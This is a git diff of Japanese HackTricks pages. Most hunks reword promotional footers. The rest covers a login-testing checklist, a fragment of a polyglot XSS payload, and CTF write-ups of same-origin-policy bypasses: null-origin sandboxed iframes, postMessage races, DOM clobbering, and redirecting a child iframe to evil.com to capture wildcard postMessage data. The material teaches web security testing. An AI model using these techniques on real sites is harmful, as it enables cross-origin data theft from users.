通常、ログイン後にページがユーザーをリダイレクトします。そのリダイレクトを変更して [**オープンリダイレクト**](../open-redirect.md) を引き起こせるかどうかを確認してください。ユーザーをあなたのウェブサイトにリダイレクトすることで、情報(コード、クッキーなど)を盗むことができるかもしれません。
## その他のチェック
* ログイン機能を悪用してユーザー名を **列挙** できるかどうかを確認してください。
* パスワード/**機密情報** **フォーム****入力****自動入力** が有効になっているかどうかを確認してください`<input autocomplete="false"`
* ログイン機能を悪用して **ユーザー名を列挙** できるかどうかを確認してください。
* パスワード/**機密情報** **フォーム****入力****自動入力** が有効になっているかどうかを確認します`<input autocomplete="false"`
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
@ -112,10 +112,10 @@ admin))(|(|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業** で働いていますか? **HackTricks で企業を宣伝** したいですか?または **PEASS の最新バージョンを入手したり、HackTricks を PDF でダウンロード** したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* **サイバーセキュリティ企業** で働いていますか? **HackTricks で企業を宣伝** したいですか?または **PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード** したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* [**公式 PEASS & HackTricks スウェグ**](https://peass.creator-spring.com) を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー** してください。
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有**するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたい**ですかまたはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有する**に、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>
```python
@ -54,10 +54,10 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -4,25 +4,25 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
## Iframesを使用してRCを獲得する
この[**Terjanqの解説**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)によると、ヌルオリジンから作成されたblobドキュメントはセキュリティ上の利点のために分離されており、メインページがビジーな状態を維持している場合、iframeページが実行されます。
この[**Terjanqの解説**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)によると、ヌル起源から作成されたblobドキュメントはセキュリティ上の利点のために分離されており、メインページをビジーにしておくと、iframeページが実行されます。
基本的に、そのチャレンジでは**分離されたiframeが実行**され、**ロードされた直後**に**親**ページが**フラグを含むポスト**メッセージを**送信**します。\
ただし、そのポストメッセージ通信はXSSに**脆弱**です(**iframe**がJSコードを実行できます
したがって、攻撃者の目標は、**親がiframeを作成**させるが、**親**ページが**機密データ(フラグ)を送信**する**前に**それを**ビジーに**して**iframeにペイロードを送信**することです。**親がビジー間**、**iframeはペイロードを実行**し、**親のポストメッセージメッセージを盗み出すJSを実行**します。\
最終的に、iframeペイロードを実行し、親ページがビジーでなくなると、フラグを送信し、ペイロードがそれを漏洩します。
したがって、攻撃者の目標は、**親がiframeを作成**させるが、**親**ページが**機密データ(フラグ)を送信**する**前に**それを**ビジーにしてiframeにペイロードを送信**することです。**親がビジーである間**、**iframeはペイロードを実行**し、**親のポストメッセージメッセージを盗み出すJSを実行**します。\
最終的に、iframeペイロードを実行し、親ページがビジーでなくなると、フラグを送信し、ペイロードがそれを漏洩します。
しかし、親を**iframeを生成した直後**に**ビジーに**させ、**iframeが準備完了して機密データを送信するのを待っている間だけ**ビジーにするにはどうすればよいでしょうか?基本的に、親が**実行**する**非同期アクション**を見つける必要があります。たとえば、そのチャレンジでは、親が次のように**ポストメッセージ**を**リッスン**していました:
しかし、親を**iframeを生成した直後**に**ビジーにする**方法はどうすればよいでしょうか?**iframeが準備完了して機密データを送信するのを待っている間だけ**。基本的に、親が**実行**する**非同期アクション**を見つける必要があります。たとえば、そのチャレンジでは、親が次のように**ポストメッセージ**を**リッスン**していました:
```javascript
window.addEventListener('message', (e) => {
if (e.data == 'blob loaded') {
@ -41,10 +41,10 @@ win?.postMessage(buffer, '*', [buffer.buffer]);
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングテクニックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手してください
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -5,9 +5,9 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
@ -25,22 +25,22 @@ renderContainer.innerHTML = data.body;
}
}
```
### SOPバイパス1e.origin === null
### SOP バイパス 1 (e.origin === null)
`//example.org`が**sandboxed iframe**に埋め込まれると、ページの**origin**は**`null`**になります。つまり、**`window.origin === null`**です。したがって、`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`を通じてiframeを埋め込むことで、**`null` origin**を**強制**できます。
`//example.org` **sandboxed iframe** に埋め込まれると、ページの **origin** **`null`** になります。つまり、**`window.origin === null`** です。そのため、`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` を通じて iframe を埋め込むことで、**`null` origin** を強制できます。
ページが **埋め込み可能** であれば、その保護をバイパスすることができます(クッキーも `SameSite=None` に設定する必要があります)。
### SOPバイパス2window.origin === null
### SOP バイパス 2 (window.origin === null)
あまり知られていない事実は、**sandbox値 `allow-popups` が設定されている**場合、**開かれたポップアップ**は`allow-popups-to-escape-sandbox`が設定されていない限り、すべての**sandboxed attributes**を**継承**することです。\
したがって、**null origin**から**popup**を開くと、ポップアップ内の**`window.origin`**も**`null`**になります。
あまり知られていない事実は、**sandbox `allow-popups` が設定されている**場合、**開かれたポップアップ**`allow-popups-to-escape-sandbox` が設定されていない限り、すべての **sandboxed attributes** を **継承**します。\
したがって、**null origin** から **ポップアップ** を開くと、ポップアップ内の **`window.origin`** も **`null`** になります。
### チャレンジの解決策
したがって、このチャレンジでは、**iframe**を**作成**し、脆弱なXSSコードハンドラ`/iframe.php`)があるページに**popup**を開くことができます。`window.origin === e.origin`が両方とも`null`であるため、XSSを悪用する**ペイロードを送信**することが可能です。
したがって、このチャレンジでは、**iframe****作成**し、脆弱な XSS コードハンドラ (`/iframe.php`) があるページに **ポップアップ** を開くことができます。`window.origin === e.origin` が `null` であるため、XSS を悪用する **ペイロードを送信**することが可能です。
その**ペイロード**は**識別子**を取得し、**XSS**を**トップページ**popupを開いたページに**送信**します。**トップページ**は**`vulnerable`**な`/iframe.php`に**ロケーションを変更**します。識別子が既知であるため、`window.origin === e.origin`の条件が満たされていなくても問題ありませんoriginはiframeからの**`null` origin**を持つpopupです。なぜなら、`data.identifier === identifier`だからです。その後、**XSSが再度トリガー**され、今度は正しいoriginで実行されます。
その **ペイロード****識別子** を取得し、**XSS** を **トップページ**(ポップアップを開いたページ)に **送信**します。`data.identifier === identifier` であるため、条件 `window.origin === e.origin` が満たされていなくても問題ありませんorigin iframe からの **`null` origin** であるポップアップを覚えていま。その後、**XSS が再度トリガー**され、今度は正しい origin で実行されます。
```html
<body>
<script>
@ -79,10 +79,10 @@ document.body.appendChild(f);
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **[💬 Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -1,4 +1,4 @@
# SOPをiframeでバイパスする - 2
# SOPをiframeでバイパスする方法 - 2
<details>
@ -6,9 +6,9 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングテクニックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
@ -16,7 +16,7 @@
この[**チャレンジ**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)の[**解決策**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)では、[**@Strellic\_**](https://twitter.com/Strellic\_)が前のセクションと同様の方法を提案しています。確認してみましょう。
このチャレンジでは、攻撃者はこれを**バイパスする必要があります**:
このチャレンジでは、攻撃者はこれを**バイパス**する必要があります:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
@ -24,9 +24,9 @@ if (e.source == window.calc.contentWindow && e.data.token == window.token) {
**最初のチェック**をバイパスする方法は、**`window.calc.contentWindow`**を**`undefined`**にし、**`e.source`**を**`null`**にすることです:
- **`window.calc.contentWindow`**は実際には**`document.getElementById("calc")`**です。**`document.getElementById`**を**`<img name=getElementById />`**で上書きできますSanitizer API -[こちら](https://wicg.github.io/sanitizer-api/#dom-clobbering)- はデフォルト状態ではDOMの上書き攻撃に対して保護されていません)。
- **`window.calc.contentWindow`**は実際には**`document.getElementById("calc")`**です。**`document.getElementById`**を**`<img name=getElementById />`**で上書きできますSanitizer API -[こちら](https://wicg.github.io/sanitizer-api/#dom-clobbering)- はデフォルト状態ではDOMの上書き攻撃に対して保護されていないことに注意してください)。
- したがって、**`document.getElementById("calc")`**を**`<img name=getElementById /><div id=calc></div>`**で上書きできます。その結果、**`window.calc`**は**`undefined`**になります。
- 今、**`e.source`**を**`undefined`**または**`null`**にする必要があります(`==`が`===`の代わりに使用されているため、**`null == undefined`**は**`True`**です)。これを取得するのは「簡単」です。**iframe**を作成し、そこから**postMessage**を送信し、すぐに**iframe**を**削除**すると、**`e.origin`**は**`null`**になります。のコードを確認してください。
- 今、**`e.source`**を**`undefined`**または**`null`**にする必要があります(`==`が使用されているため、**`null == undefined`**は**`True`**です)。これを取得するのは「簡単」です。**iframe**を作成し、そこから**postMessage**を送信し、すぐに**iframe**を**削除**すると、**`e.origin`**は**`null`**になります。以下のコードを確認してください。
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
@ -35,12 +35,12 @@ await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
**第二のチェック**をバイパスするためには、**`token`**を`null`で送信し、**`window.token`**の値を**`undefined`**にすることです:
**第二のチェック**をバイパスするためには、**`token`**の値を`null`で送信し、**`window.token`**の値を**`undefined`**にすることです:
- 値`null`で`token`をpostMessageで送信するのは簡単です。
- `token`を値`null`でpostMessageで送信するのは簡単です。
- **`window.token`**は、**`document.cookie`**を使用する**`getCookie`**関数を呼び出しています。**`null`**のオリジンページで**`document.cookie`**にアクセスすると**エラー**が発生します。これにより、**`window.token`**の値が**`undefined`**になります。
最終的な解決策は、[**@terjanq**](https://twitter.com/terjanq)による[**次のもの**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)です:
最終的な解決策は、[**@terjanq**](https://twitter.com/terjanq)による[**次の**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)ものです:
```html
<html>
<body>
@ -80,10 +80,10 @@ setTimeout(start, 1000);
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -7,18 +7,18 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または **PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* [**公式 PEASS & HackTricks スウェグ**](https://peass.creator-spring.com) を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
</details>
## 子 iframe の場所を変更する
[**この解説**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)によると、X-Frame-Header がないウェブページを iframe 化できる場合、別の iframe を含むページの場所を変更できます
[**この解説**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)によると、X-Frame-Header がないウェブページに別の iframe を含む iframe を挿入できる場合、**その子 iframe の場所を変更できます**
たとえば、abc.com が efg.com を iframe 化しており、abc.com に X-Frame ヘッダーがない場合、**`frames.location`** を使用して efg.com を evil.com にクロスオリジンで変更できます。
たとえば、abc.com が efg.com を iframe として持ち、abc.com に X-Frame ヘッダーがない場合、**`frames.location`** を使用して efg.com を evil.com にクロスオリジンで変更できます。
これは特に **postMessage** で便利です。なぜなら、ページが **`windowRef.postmessage("","*")`** のような **ワイルドカード**を使用して機密データを送信している場合、**関連する iframe子または親の場所を攻撃者が制御する場所に変更**してそのデータを盗むことができるからです。
